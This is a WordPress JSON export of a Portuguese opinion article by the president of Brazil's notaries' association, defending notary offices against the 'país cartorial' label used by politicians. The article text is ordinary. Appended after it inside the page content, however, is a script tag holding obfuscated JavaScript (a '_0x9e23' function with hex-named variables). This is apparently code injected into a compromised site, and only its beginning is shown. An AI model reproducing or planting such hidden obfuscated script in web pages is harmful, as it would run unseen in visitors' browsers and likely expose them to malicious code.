{"id":681,"date":"2018-08-28T11:45:07","date_gmt":"2018-08-28T14:45:07","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/ao-contrario-do-que-dizem-os-politicos-brasil-nao-e-mais-um-pais-cartorial-por-claudio-marcal-freire\/"},"modified":"2018-08-28T11:45:07","modified_gmt":"2018-08-28T14:45:07","slug":"ao-contrario-do-que-dizem-os-politicos-brasil-nao-e-mais-um-pais-cartorial-por-claudio-marcal-freire","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/ao-contrario-do-que-dizem-os-politicos-brasil-nao-e-mais-um-pais-cartorial-por-claudio-marcal-freire\/","title":{"rendered":"Ao contr\u00e1rio do que dizem os pol\u00edticos, Brasil n\u00e3o \u00e9 mais um &#8220;pa\u00eds cartorial&#8221; &#8211; Por Claudio Mar\u00e7al Freire"},"content":{"rendered":"<div class=\"wysiwyg\">\n<table border=\"0\" cellpadding=\"1\" cellspacing=\"1\" style=\"width:100%\">\n<tbody>\n<tr>\n<td><img decoding=\"async\" alt=\"\" src=\"\/ckeditor\/ckfinder\/userfiles\/images\/Cl%C3%A1udio%20Mar%C3%A7al%20Freire\" style=\"height:217px; width:217px\" \/><\/td>\n<td>\n<p style=\"text-align:justify\">&nbsp;&nbsp;&nbsp;&nbsp; No dia 5, o Brasil deu in&iacute;cio a mais uma corrida eleitoral, desta vez marcada por um antagonismo cada vez mais eloquente entre as diversas correntes partid&aacute;rias que hoje dividem o eleitorado. Entre as discuss&otilde;es de esquerda, centro e direita, se faz cada vez mais presente o debate em torno da nova e da velha pol&iacute;tica, sendo a primeira representada por novatos oriundos de outras &aacute;reas, enquanto a segunda &eacute; caracterizada por aqueles pol&iacute;ticos de carreira, tradicionalmente presentes nas elei&ccedil;&otilde;es.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Neste quadro polarizado que se criou entre a nova e a velha pol&iacute;tica, &eacute; preciso que os candidatos estejam antenados e atualizados sobre diversos assuntos que circundam a nova sociedade da informa&ccedil;&atilde;o, sob pena de deixarem transparecer ao eleitor desconhecimento ou falta de conte&uacute;do sobre temas impactantes da vida cotidiana. Mais do que idade ou experi&ecirc;ncia, desconhecimento &eacute; sin&ocirc;nimo da velha pol&iacute;tica.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Chama aten&ccedil;&atilde;o, portanto, nesse in&iacute;cio de disputa pol&iacute;tica, as constantes declara&ccedil;&otilde;es em torno da necess&aacute;ria moderniza&ccedil;&atilde;o pela qual o pa&iacute;s precisa passar, principalmente nos servi&ccedil;os p&uacute;blicos prestados ao cidad&atilde;o e de sua convers&atilde;o para plataformas digitais. Ao defender tais ideias, utiliza-se como contraponto a pecha de que o Brasil precisa deixar de ser um &ldquo;pa&iacute;s cartorial&rdquo; e avan&ccedil;ar rumo &agrave; modernidade dos novos tempos. Noves fora o populismo de tais argumentos, sua utiliza&ccedil;&atilde;o caracteriza um profundo desconhecimento da realidade dos cart&oacute;rios brasileiros. Caracteriza a velha pol&iacute;tica.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A express&atilde;o foi cunhada pelo cientista pol&iacute;tico H&eacute;lio Jaguaribe em seu trabalho <em>Pol&iacute;tica ideol&oacute;gica e pol&iacute;tica de clientela<\/em>, escrito nos idos de 1950. Certamente influenciado pela realidade de sua &eacute;poca, o escritor fluminense buscou estabelecer a diferen&ccedil;a entre as fun&ccedil;&otilde;es p&uacute;blicas que deveriam ser orientadas &agrave; presta&ccedil;&atilde;o de servi&ccedil;os &agrave; coletividade, mas que acabavam sendo utilizadas para assegurar empregos e vantagens espec&iacute;ficas para determinadas pessoas e grupos de apaniguados, a &ldquo;pol&iacute;tica de clientela&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Se essa era a realidade brasileira desde a chegada dos portugueses ao pa&iacute;s, em 1500, cuja frota naval j&aacute; contava com a presen&ccedil;a do tabeli&atilde;o Afonso Furtado, respons&aacute;vel pelos interesses do rei, contabilista e despenseiro de mantimentos, &aacute;gua e v&iacute;veres das embarca&ccedil;&otilde;es (Bueno, Eduardo, <em>A Viagem do Descobrimento<\/em>,&nbsp;p&aacute;g. 42), e se assim se manteve ao longo da j&aacute; secular hist&oacute;ria de nosso pa&iacute;s, sendo muitas vezes utilizadas pelos pr&oacute;prios pol&iacute;ticos como instrumento de barganha e troca de favores, tal situa&ccedil;&atilde;o est&aacute; hoje completamente distante daquela realidade, sendo uma profiss&atilde;o extremamente regulada, preenchida por m&eacute;rito mediante concurso p&uacute;blico e rigorosamente fiscalizada pelo Poder Judici&aacute;rio e pelo Conselho Nacional de Justi&ccedil;a,&nbsp;merecedora do respeito dos candidatos aos postos majorit&aacute;rios de comando do pa&iacute;s, assim como desfruta do respeito da popula&ccedil;&atilde;o brasileira.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Previstos no artigo 236 da Constitui&ccedil;&atilde;o Federal de 1988, os cart&oacute;rios ou servi&ccedil;os extrajudiciais s&atilde;o hoje modelo de presta&ccedil;&atilde;o de servi&ccedil;os jur&iacute;dicos de qualidade &agrave; popula&ccedil;&atilde;o, garantindo publicidade, autenticidade, efic&aacute;cia e seguran&ccedil;a para os atos jur&iacute;dicos pessoais e patrimoniais das pessoas, prevenindo lit&iacute;gios, recuperando cr&eacute;ditos para os entes p&uacute;blicos, desburocratizando diversos procedimentos antes afetos &agrave; Justi&ccedil;a, contribuindo para o desafogo do Poder Judici&aacute;rio, e fiscaliza&ccedil;&atilde;o dos recolhimentos de tributos, contribuindo com melhoria da arrecada&ccedil;&atilde;o dos munic&iacute;pios, estados, Distrito Federal e&nbsp;Uni&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Presentes em todos os munic&iacute;pios do pa&iacute;s, muitas vezes sendo o &uacute;nico bra&ccedil;o do Estado, os 11.946 cart&oacute;rios brasileiros, al&eacute;m de executarem seus servi&ccedil;os &mdash; que s&atilde;o p&uacute;blicos, regulados por lei, criados e delegados pelo Estado a particulares e fiscalizados pelo Poder Judici&aacute;rio &mdash;, atuam como verdadeiros conselheiros jur&iacute;dicos dos cidad&atilde;os, oferecendo aux&iacute;lio jur&iacute;dico qualificado, e muitas vezes gratuitos, &agrave;queles que n&atilde;o tem a quem recorrer.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ao contr&aacute;rio do mito estabelecido, os cart&oacute;rios est&atilde;o presentes em mais de 87 pa&iacute;ses do mundo que praticam o Direito latino &mdash; igual ao do Brasil &mdash;, entre eles na&ccedil;&otilde;es consideradas de excel&ecirc;ncia, como Jap&atilde;o, Espanha, Fran&ccedil;a, It&aacute;lia, Alemanha, Holanda, B&eacute;lgica e Su&iacute;&ccedil;a, al&eacute;m de pot&ecirc;ncias como China e R&uacute;ssia. Na Espanha, os not&aacute;rios praticam mais de 130 atos de jurisdi&ccedil;&atilde;o volunt&aacute;ria, dentre eles a abertura, modifica&ccedil;&otilde;es e encerramento de empresas, evitando que pessoas sejam usadas como laranjas, e empresas de fachadas utilizadas para lavar dinheiro sejam abertas, raz&atilde;o porque gozam de profundo respeito das autoridades e da popula&ccedil;&atilde;o daquele pa&iacute;s.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Nos &uacute;ltimos tempos, muitas novas atribui&ccedil;&otilde;es foram atribu&iacute;das por lei e resolu&ccedil;&atilde;o do CNJ aos not&aacute;rios e registradores, os chamados cart&oacute;rios. E, se fosse considerada a vontade dos cidad&atilde;os, muitas outras deveriam ser transferidas. Pesquisa do Datafolha&nbsp;realizada em 2016&nbsp;identificou que os cart&oacute;rios n&atilde;o s&oacute; s&atilde;o as institui&ccedil;&otilde;es p&uacute;blicas mais confi&aacute;veis do pa&iacute;s&nbsp;como tamb&eacute;m poderiam prestar servi&ccedil;os hoje oferecidos pelo Estado, como a emiss&atilde;o de passaportes, identidades e carteiras de trabalho, que exigem deslocamentos de grande parte da popula&ccedil;&atilde;o, bem como a participa&ccedil;&atilde;o de intermedi&aacute;rios.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A Lei Federal 13.484\/2017&nbsp;tornou os cart&oacute;rios de registro civil &ldquo;of&iacute;cios da cidadania&rdquo;, permitindo a realiza&ccedil;&atilde;o de solicita&ccedil;&atilde;o e entrega de documentos emitidos por &oacute;rg&atilde;os p&uacute;blicos e privados, aproveitando a presen&ccedil;a dos servi&ccedil;os cartor&aacute;rios em todos os munic&iacute;pios do pa&iacute;s. Aprovada pelo Legislativo e sancionada pelo Executivo, a iniciativa recebeu ainda valida&ccedil;&atilde;o do Poder Judici&aacute;rio, que editou norma regulando essa a&ccedil;&atilde;o, pendentes a implementa&ccedil;&atilde;o de aprecia&ccedil;&atilde;o pelo Supremo Tribunal Federal de ADI proposta pelo Partido Republicano Brasileiro (PRB). Assim, acabariam com os longos deslocamentos dos cidad&atilde;os que hoje precisam desses servi&ccedil;os.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Desde que foi aprovada, em 2007, a lei que autorizou que separa&ccedil;&otilde;es, div&oacute;rcios, invent&aacute;rios e partilhas consensuais passassem a ser feitas em cart&oacute;rios, mais de 2 milh&otilde;es de escrituras foram feitas nos tabelionatos de notas, processos&nbsp;que at&eacute; ent&atilde;o desaguariam diretamente em tribunais de Justi&ccedil;a de todo o pa&iacute;s. A pr&aacute;tica dos atos em cart&oacute;rios significou uma economia de R$ 4 bilh&otilde;es aos cofres p&uacute;blicos. Mas n&atilde;o foi s&oacute; o Estado o beneficiado. Basta uma consulta r&aacute;pida aos advogados e aos cidad&atilde;os, que viram um prazo de invent&aacute;rio cair de 15 anos no Judici&aacute;rio para 1 m&ecirc;s no cart&oacute;rio, ou um div&oacute;rcio que levava seis meses ser solucionado no mesmo dia em um cart&oacute;rio, em ato bancado exclusivamente pela parte que necessita do servi&ccedil;o, e n&atilde;o por toda a sociedade, para saber o qu&atilde;o eficaz foi a medida para a sociedade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Realizar a legaliza&ccedil;&atilde;o de documentos para uso no exterior &mdash; procedimento conhecido como apostilamento &mdash; exigia do cidad&atilde;o um p&eacute;riplo de tr&ecirc;s etapas por diferentes &oacute;rg&atilde;os p&uacute;blicos, em procedimento que exigia diferentes deslocamentos, pagamento a intermedi&aacute;rios, altos investimentos e paci&ecirc;ncia: sua conclus&atilde;o chegava a levar um ano. Agora, no cart&oacute;rio, &eacute; simples. O cidad&atilde;o vai at&eacute; a unidade mais pr&oacute;xima de sua resid&ecirc;ncia e realiza o ato. Sem deslocamentos, sem intermedi&aacute;rios, sem gastos adicionais e sem prazo de espera. O servi&ccedil;o &eacute; feito na hora. Ganha o cidad&atilde;o, que tem seu problema resolvido, e o poder p&uacute;blico, que delega o servi&ccedil;o a um agente qualificado e se exime de custos com a pr&aacute;tica destes servi&ccedil;os, podendo investir em sa&uacute;de, educa&ccedil;&atilde;o&nbsp;etc.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Os cart&oacute;rios est&atilde;o presentes ainda nos processos de regulariza&ccedil;&atilde;o fundi&aacute;ria customizados em todos os munic&iacute;pios brasileiros, permitindo a efetiva entrega de t&iacute;tulos de propriedade &agrave; popula&ccedil;&atilde;o mais carente atrav&eacute;s de mecanismos cada vez mais c&eacute;leres e inovadores, como a usucapi&atilde;o extrajudicial e o nov&iacute;ssimo direito de laje, novidade jur&iacute;dica que contempla a situa&ccedil;&atilde;o de milhares de pessoas em todo o Brasil.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Somente no &uacute;ltimo ano, os cart&oacute;rios de protesto recuperaram para entes p&uacute;blicos 52,1% dos t&iacute;tulos apresentados, totalizando R$ 3 bilh&otilde;es, dos quais R$ 2 bilh&otilde;es foram reintroduzidos na economia para utiliza&ccedil;&atilde;o de governos em prol de servi&ccedil;os p&uacute;blicos. No tocante aos t&iacute;tulos privados, o &iacute;ndice de recupera&ccedil;&atilde;o chega a 67,9%, recuperando-se 2\/3 dos cr&eacute;ditos inadimplidos, injetando-se na economia outros R$ 18 bilh&otilde;es nos &uacute;ltimos 12 meses. Com rela&ccedil;&atilde;o &agrave;s duplicatas, o &iacute;ndice de recupera&ccedil;&atilde;o est&aacute; na casa de 65%, sendo esses servi&ccedil;os prestados no Distrito Federal e na maior parte dos estados da federa&ccedil;&atilde;o de forma gratuita, e gratuitamente s&atilde;o atendidas as pesquisas das situa&ccedil;&otilde;es negativas ou positivas de protesto pela internet, pelo site <a href=\"http:\/\/www.protestodetitulos.org.br\/\" target=\"_blank\" rel=\"noopener noreferrer\">www.protestodetitulos.org.br<\/a>.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Seguran&ccedil;a jur&iacute;dica, preven&ccedil;&atilde;o de lit&iacute;gios, recupera&ccedil;&atilde;o de cr&eacute;ditos ao poder p&uacute;blico, desburocratiza&ccedil;&atilde;o de procedimentos, controle de legalidade, verifica&ccedil;&atilde;o de tributos, concursos p&uacute;blicos e fiscaliza&ccedil;&atilde;o do Poder Judici&aacute;rio. Caracter&iacute;sticas centrais do novo modelo de atividade dos cart&oacute;rios extrajudiciais brasileiros que est&atilde;o &agrave; servi&ccedil;o do cidad&atilde;o &mdash; seja em ambientes f&iacute;sicos ou virtuais &mdash; e que destoam do &ldquo;pa&iacute;s cartorial&rdquo;, a que alguns tentam revisitar por fren&eacute;tica busca de votos a todo custo, desconhecendo ou fazendo vistas grossas aos benef&iacute;cios proporcionados pelos cart&oacute;rios &agrave; popula&ccedil;&atilde;o e aos entes p&uacute;blicos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Se remanesce a &ldquo;pol&iacute;tica de clientela&rdquo;, esta sim estaria na a&ccedil;&atilde;o dos &oacute;rg&atilde;os da administra&ccedil;&atilde;o p&uacute;blica quando concedem autoriza&ccedil;&atilde;o para as empresas privadas exercerem servi&ccedil;os de registros p&uacute;blicos, sem concurso p&uacute;blico e sem fiscaliza&ccedil;&atilde;o do Poder Judici&aacute;rio, ao arrepio da Constitui&ccedil;&atilde;o e da lei, e n&atilde;o aos cart&oacute;rios.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Por essas raz&otilde;es, a cunhada express&atilde;o &ldquo;pa&iacute;s cartorial&rdquo; j&aacute; estaria a merecer revis&atilde;o do historiador.&nbsp;O Brasil mudou, e os cart&oacute;rios tamb&eacute;m. &Eacute; chegada a hora da velha pol&iacute;tica tamb&eacute;m mudar.<\/p>\n<p style=\"text-align: justify;\"><em><strong><a href=\"mailto:%69%6d%70%72%65%6e%73%61%40%61%6e%6f%72%65%67%62%72%2e%6f%72%67%2e%62%72\" rel=\"author\">Claudio Mar&ccedil;al Freire<\/a>&nbsp;&eacute; presidente da Associa&ccedil;&atilde;o dos Not&aacute;rios e Registradores do Brasil (Anoreg-BR).<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><em>Foto: Estad&atilde;o<\/em><\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let 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